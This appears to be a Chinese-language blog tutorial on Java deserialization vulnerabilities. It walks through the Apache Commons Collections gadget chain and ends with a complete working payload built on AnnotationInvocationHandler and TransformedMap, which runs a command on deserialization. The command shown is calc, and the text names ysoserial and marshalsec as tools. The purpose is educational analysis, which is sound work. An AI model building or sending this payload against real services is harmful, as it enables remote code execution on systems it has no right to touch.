Notadmin
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

基础知识
java序列化
把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
java反序列化
指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化的作用
序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景:
HTTP:多平台之间的传输等
RMI:是 Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
java反序列化漏洞成因
暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码
反序列化时会调用readObject()函数,如果重写了readObject函数,并且里面含有恶意代码,那么在反序列化时调用这个函数就会直接执行恶意代码。
java反序列化分析
接下来可以直接用一个例子来具体分析一下java反序列化漏洞,代码如下:
import java.io.*; class MyObject implements Serializable{ public String name; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException { //执行默认的readObject()方法 in.defaultReadObject(); //执行打开计算器程序命令 Runtime.getRuntime().exec("calc.exe"); } } public class testSerialize { public static void main(String args[]) throws Exception{ //定义myObj对象 MyObject myObj = new MyObject(); myObj.name = "hi"; //创建一个包含对象进行反序列化信息的”object”数据文件 FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将myObj对象写入object文件 os.writeObject(myObj); os.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("object"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 MyObject objectFromDisk = (MyObject)ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); } }
首先我们定义了一个Myobject类并继承了Serializable接口,并且重写了readObject方法。我们知道在反序列化时会执行readObject方法。而我们在readObject()方法中写入了Runtime.getRuntime().exec("calc.exe"),在反序列化时就会执行相应的命令。
这里需要注意:只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。
效果如下:
看到这里,可能有人会问,你这样时一种理想情况,实际上谁会这样写readObject()方法。没错,在实际情况中我们机会没有遇到过这样写的,但是我们还可以通过其它方式去利用。如果readObject()中调用了其它类的方法,而其它类的方法使用了危险函数,那么是不是也可以进行利用。
那么,现在问题的关键就变成了找到一条这样的利用链。
接下来来看一个实际的例子, Apache-Commons-Collections反序列化漏洞。
Apache-Commons-Collections反序列化漏洞分析
Apache Commons Collections是Apache Commons的组件,该漏洞的问题主要出现在org.apache.commons.collections.Transformer接口上。在Apache commons.collections中有一个InvokerTransformer实现了Transformer接口,主要作用为调用Java的反射机制来调用任意函数。
先来看一下Transformer接口,只定义了下面的一个方法:
InvokerTransformer继承了Transformer,并实现了该方法:
public class InvokerTransformer implements Transformer, Serializable { public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
上面的代码中可以看出,这里利用了反射机制,调用传入对象的任意方法。
上面的三个参数分别表示的意思是:
methodName:方法名
paramTypes: 参数类型
args:传入方法的参数值
如果想要直接调用上面的InvokerTransformer的transform方法进行命令执行,可以这样写:
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}); invokerTransformer.transform(runtime);
这里还有一个问题就是如何获得Runtime.getRuntime()类并把这个类传入invokerTransformer.transform(runtime)函数中?
接下来又找到下面的两个类:ConstantTransformer类和ChainedTransformer类
先来看看ConstantTransformer类:
public class ConstantTransformer implements Transformer, Serializable { public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } }
从上面可以看出可以传入一个类实例化以后,调用transform方法,会直接返回传入的类。这个正好可以用来获得Runtime.getRuntime()类。
接下来再来看看另一个类ChainedTransformer:
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
如果iTransformers为上面的InvokerTransformer对象,我们可以构造多个InvokerTransformer对象(注意这里的iTransformers是个数组),让这条语句通过反射来创建Runtime的实例:
那么我们现在可以构造这样的代码去执行命令:
Transformer[] transformers = new Transformer[] { //Runtime.class.getMethod('getRuntime').invoke() new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) //获取java.lang.class }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform("123");
到这里,又发现一个问题,要让反序列化的时候能够执行,那么就需要找到这样一个类:这个类重写了readOjbect()函数,并且调用了ChainedTransformer类的transform()方法,只有这样才能在反序列化的时候自动执行我们的命令。
比较幸运的是,存在这样的类,它们就是TransformeMap和AnnotationInvocationHandler类。
在TransformeMap类中存在一个这样的方法:
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
如果valueTransformer为我们构造的ChainedTransformer对象,那么就可以满足上面的条件。
通过分析构造函数,我们发现这个值是可以直接构造的:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
那么接下来的问题就变成,如何去调用checkSetValue()方法。继续跟进TransformeMap的父类AbstractInputCheckedMapDecorator,在里面有一个静态的内部类:
static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } }
这里的setValue方法调用了checkSetValue,如果this.parent指向我们前面构造的TransformeMap对象,那么这里就可以触发漏洞点。
到这里就可以进一步完善我们的调用链:
Transformer[] transformers = new Transformer[] { //Runtime.class.getMethod('getRuntime').invoke() new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) //获取java.lang.class }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("1", "1"); //构造TransformedMap对象,带入前面构造的transformerChain Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //返回Entry这个内部类 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("123123");
到目前为止还是跟上面一样的问题,要是在反序列化的时候利用就必须在readObject()方法中,现在变成了找到一个这样的readObject()方法。
这里就需要用到AnnotationInvocationHandler这个类(JDK版本要小于1.7),该类重写了readObject方法,在该方法里面调用了map的setValue方法:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
这里可以发现memberValues是一个map对象,并且是可以由我们直接传入参数的。
找到了这样的一个readObject()方法。到这里,就比较明显了。我们传入一个构造好的AnnotationInvocationHandler对象,目标对其进行反序列,便会造成任意代码执行。
最终的payload如下:
T
Transformer[] transformers = new Transformer[] { //Runtime.class.getMethod('getRuntime').invoke() new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) //获取java.lang.class }; Transformer transformerChain = new ChainedTransformer(transformers); //transformerChain.transform("123"); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true); //通过newInstance()方法实例化对象 Object instance = ctor.newInstance(Retention.class, outmap); return instance;
对上面的payload进行序列化,然后发送给反序列化的接口,就可以执行我们想要执行的命令。
最后再来总结一下利用链(来自ysoserial):
Java反序列化历史漏洞
Java 十分受开发者喜爱的一点是其拥有完善的第三方类库,和满足各种需求的框架;但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,那么受影响范围将极为广泛。
很多常用的组件都出过反序列化漏洞,如fastjson,jackson,hibernate,Apache Commons Collections等等。
常用工具
ysoserial:集合了各种反序列化poc的工具
marshalsec:反序列化poc,以及可以启动rmi,jndi服务端
如何查找反序列化漏洞
反序列化漏洞一般需要满足两个条件:
1)入口类,也就是触发点,反序列化的入口
2)程序中存在一条可以产生安全问题的利用链。将这个利用链序列化发送给序列化入口,反序列化后执行代码。
利用链一般出现在各种第三方组件中,可以看项目中是否使用了在危险版本的组件。
参考链接:
https://zhuanlan.zhihu.com/p/389252470